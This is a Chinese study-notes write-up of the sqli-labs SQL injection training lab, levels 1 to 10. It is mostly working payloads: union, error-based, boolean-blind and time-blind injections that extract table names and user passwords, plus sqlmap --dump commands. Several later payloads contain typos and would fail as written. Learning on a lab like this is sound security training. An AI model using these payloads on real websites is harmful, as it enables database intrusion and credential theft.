1. 程式人生 > 其它 >Sqli-labs-master學習筆記

Sqli-labs-master學習筆記

本次學習主要是為了深入漏洞和滲透原理。

Less-1GET - Error based - Single quotes - String(基於錯誤的GET單引號字元型注入)

先按照提示輸入 ?id=1

先對ID位置進行注入判定,輸入 ?id=1',頁面報錯。後面新增 --+或者#,恢復正常。可知,其有單引號閉合切無過濾。

採用手動聯合查詢注入:sqli-labs-master/Less-1/?id=-1 union select 1,2,3--+ ,發現Your Login name 和Your Password處返回了查詢的值。

注:此處需要將ID改為一個錯誤值,因為網頁只會返回查詢到的第一條資料。

聯合查詢獲取資料庫名:sqli-labs-master/Less-1/?id=-1 union select 1,database(),3--+,得到庫名security

拓展:Mysql有四個自帶的預設資料庫information_schema,sys,mysql,performance_schema。

其中:information_schema庫用於儲存資料庫元資料,如:資料庫名,表名,列,資料訪問,許可權等。

常用的表: CHARACTER_SET 提供mysql可用字符集的資訊。

      SCHEMATA    提供當前例項下所有資料庫的資訊

       TABLES      儲存資料庫中的表資訊

      COLUMNS     儲存表中的列資訊。

獲取表名:sqli-labs-master/Less-1/?id=-1 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 0,1--+獲取了一個表名。

sqli-labs-master/Less-1/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 獲取所有表名。

獲取users表的欄位:sqli-labs-master/Less-1/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

 

分析出其列名為:id,user,password

獲取賬戶資訊:sqli-labs-master/Less-1/?id=-1 union select 1,2,group_concat(username,',',password,';') from users--+

賬號和密碼用,分割。兩個賬號資訊用,;分割。

Less-2 GET - Error based - Intiger based (基於錯誤的GET整型注入)

通過錯誤進行判斷:/sqli-labs-master/Less-2/?id=1 and 1=1回顯正確

         /sqli-labs-master/Less-2/?id=1 and 1=2 回顯錯誤

確定回顯位置:/sqli-labs-master/Less-2/?id=-1 union select 1,2,3

確定表名:/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

使用users表,來獲取賬戶相關資訊:sqli-labs-master/Less-2/?id=-1%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27

列名分別為:id;username;password

獲取賬戶資訊:/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(username,',',password) from users

至此獲取到了賬戶資訊。

使用Sqlmap工具注入(相關引數參閱https://www.freebuf.com/sectool/164608.html

檢查url是否有注入點:./sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-2/?id=1"

列出資料庫中所有資料庫名稱:./sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-2/?id=1" --dbs

列出該庫所有表:./sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-2/?id=1" -D security --tables

列出所有:./sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-2/?id=1" -D security -T users --columns

列出指定欄位:./sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-2/?id=1" -T users -C username,password --dump

注:各個引數的作用及用法

  --dbs 顯示資料庫資訊

  -D 庫名 --tables 獲取該庫中所有表

  -T 表名 --columns 獲取所有欄位

  -C 欄位1,欄位2 --dumo 獲取指定欄位

Less-3 GET - Error based - Single quotes with twist string (基於錯誤的GET單引號變形字元型注入)

確定其閉合為(''):/sqli-labs-master/Less-3/?id=1')and 1=2 --+

確定回顯位置:/sqli-labs-master/Less-3/?id=-1') union select 1,2,3--+

獲取表名:/sqli-labs-master/Less-3/?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

獲取欄位:/sqli-labs-master/Less-3/?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

獲取賬戶資訊:/sqli-labs-master/Less-3/?id=-1')union select 1,2,group_concat(username,password) from users--+

Less-4 GET - Error based - Double Quotes - String (基於錯誤的GET雙引號字元型注入)

注:後面同類型的闖關就不上圖了,大同小異。區別在於閉合的符號不同。

錯誤判斷:/sqli-labs-master/Less-4/?id=1'

    /sqli-labs-master/Less-4/?id=1" --+

    /sqli-labs-master/Less-4/?id=-1") and 1=1

確定回顯位置:/sqli-labs-master/Less-4/?id=-1") union select 1,2,3--+

獲取表名:/sqli-labs-master/Less-4/?id=-1") union select group_concat(table_name) from information_schema.tables where table_schema=database()--+

獲取欄位名:/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+

獲取具體欄位 :http://39.105.114.179/sqli-labs-master/Less-4/?id=-1%22)%20union%20select%201,2,group_concat(username,%27:%27,password)%20from%20users--+

sqlmap工具自動獲取:0

獲取資料庫資訊:./sqlmap.py -u http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-4/?id=1 --dbs

獲取表名:./sqlmap.py -u http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-4/?id=1 -D security --tables

獲取欄位:./sqlmap.py -u http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-4/?id=1 -D sercurity -T users --columes

 

獲取具體欄位內容:./sqlmap.py -u http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-4/?id=1 -D security -T users -C username,password --dump

Less-5 GET - Double Injection - Single Quotes - String (雙查詢GET單引號字元型注入)

原理分析

1.雙注入破解原理:組合利用count(),floor(),group by,rand()函式,能夠將資訊通過報錯顯現出來。

payload公式:select count(*),concat(payload,floor(rand(0)*2) as x from information_schmea.tables group by a

count():計算行數

floor():向下取整

group by:分組

rand():隨機產生一個0到1的隨機數.

2.rand(0)和rand()的差別。

select rand(0),rand(0),rand(),rand();

select floor(rand(0)*) from users和select floor(rand()*2) from users.

執行多次rand(0)會發現其得到的值並未傳送變化,為0110110011101。原因是指定了隨機數種子0。

3.floor(rand(0))分組查詢報錯

上面這張圖就是group by通過floor分組的過程。
我們知道floor產生的隨機序列是固定的011011,再進行group by分組的時候,我會將這個隨機序列作為虛擬表的key, 進行查詢和插入兩步操作。我們假設要先查詢後插入,這裡我把沒有查詢到值的查詢用黑色,查詢到值的查詢用紅色。

下面來描述一下查詢和插入的過程:

第一次查詢,再虛擬表中查詢key為0的欄位,發現虛擬表為空,因此進行插入操作。
第一次插入,再進行插入操作的時候,group by會再次呼叫floor(),因此插入的key是1而不是0,還會將對應的count()值填在key的後面。
第二次查詢,查詢時,group by再一次呼叫floor,得到的值為1,查詢虛擬表中是否有key為1的欄位,發現存在,因此此處的插入操作就是將coun()的值進行疊加。此時第二次查詢操作和插入操作都已經完畢,然後進行第三次查詢。
第三次查詢,此時查詢的key為0,發現虛擬表中沒有0,因此要進行插入操作。
第三次插入,再進行插入前,group by要呼叫floor(),得到了1,因此要插入一個key為1的欄位。而key為1的欄位已經存在了,因此主鍵重複,MySQL會報錯。(圖上多畫了一個最後紅色的查詢3,可以忽略掉)

到現在,你可能就會明白雙注入的報錯原理了。一定要注意的是,查詢 和 插入操作之前都會獨立的從floor獲取一個新的值,導致查詢和插入的key可能不同,因此才會產生這中情況。

注:原文連結:https://blog.csdn.net/weixin_43901998/article/details/105227678

雙查詢注入失敗了。。。。換個方法繼續吧

時間延遲盲注入:

判斷sleep函式能否生效:/sqli-labs-master/Less-5/?id=1' and sleep(3)--+

網頁延遲了3秒鐘,該語句生效了。後面可以利用網頁的延遲時間來匹配相關資訊。

判斷庫名長度:/sqli-labs-master/Less-5/?id=1' and If(length(database())>1,sleep(3),0)--+

盲注庫名(建議用指令碼跑):/sqli-labs-master/Less-5/?id=1' and If(left(database(),1)='s',sleep(3),0)--+

盲注表名:/sqli-labs-master/Less-5/?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit x,y),z,d))=110,sleep(3),0)--+

盲注欄位:/sqli-labs-master/Less-5/?id=1’ and If(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit x,y),z,d))=105,sleep(3),1)--+
盲注具體欄位:/sqli-labs-master/Less-5/?id=1’ and if(ascii(substr(select usersname from users limit x,y)z,d))=110,sleep(3),0)--+

sqlmap工具注入

sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-5/?id=1"

sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-5/?id=1"--dbs

sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-5/?id=1" -D security --table

sqlmap.py -u "http://4xxx.xxx.xxx.xxx/sqli-labs-master/Less-5/?id=1" -D security -T users --column

sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-5/?id=1" -D security -T users -C username,password --dump

Less-6GET - Double Injection - Double Quotes - String (雙查詢GET雙引號字元型注入)

同第5關,閉合符號位”,不過多闡述。(手動太耗時間了,不建議)

Less-7GET - Dump into outfile - String (匯出檔案GET字元型注入)

環境存在問題,先跳過

Less-8GET - Blind - Boolian Based - Single Quotes (布林型單引號GET盲注)

判斷閉合:/sqli-labs-master/Less-8/?id=1’ and sleep(2)--+

盲注資料庫名:/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),x,y))=z--+

盲注表名:

/sqli-labs-master/Less-8/?id=1' ascii(substr(select table_name from information_schema.tables where table_chema=database() limit 3,1),x,y))=z--+

盲注欄位:

/sqli-labs-master/Less-8/?id=1' and ascii(substr(slect column_name from information_schema.columns where table_name='suers' limit 0,1),x,y)=z--+

盲注具體欄位

/sqli-labs-master/Less-8/?id=1' and ascii(substr(select usname from users limit 0,1),x,y)=z--+

Less-9GET - Blind - Time based. - Single Quotes (基於時間的GET單引號盲注)

判斷閉合:/sqli-labs-master/Less-9/?id=1’ and and sleep(2)--+

盲注資料庫名:/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database(),x,y))>z,sleep(3),1)--+

盲注表名:

/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(select table_name from information_schema.tables where table_chema=database() limit 3,1),x,y))>z,sleep(3),1)--+

盲注欄位:

/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(slect column_name from information_schema.columns where table_name='suers' limit 0,1),x,y)>z,sleep(3),1)--+

盲注具體欄位

/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(select usname from users limit 0,1),x,y)>z,sleep(3),1)--+

Less-10GET - Blind - Time based - double quotes (基於時間的雙引號盲注)

確定閉合:/sqli-labs-master/Less-10/?id=1" and sleep(2)--+

盲注資料庫名:/sqli-labs-master/Less-9/?id=1" and if(ascii(substr(database(),x,y))>z,sleep(3),1)--+

盲注表名:

/sqli-labs-master/Less-9/?id=1" and if(ascii(substr(select table_name from information_schema.tables where table_chema=database() limit 3,1),x,y))>z,sleep(3),1)--+

盲注欄位:

/sqli-labs-master/Less-9/?id=1" and if(ascii(substr(slect column_name from information_schema.columns where table_name='suers' limit 0,1),x,y)>z,sleep(3),1)--+

盲注具體欄位

/sqli-labs-master/Less-9/?id=1" and if(ascii(substr(select usname from users limit 0,1),x,y)>z,sleep(3),1)--+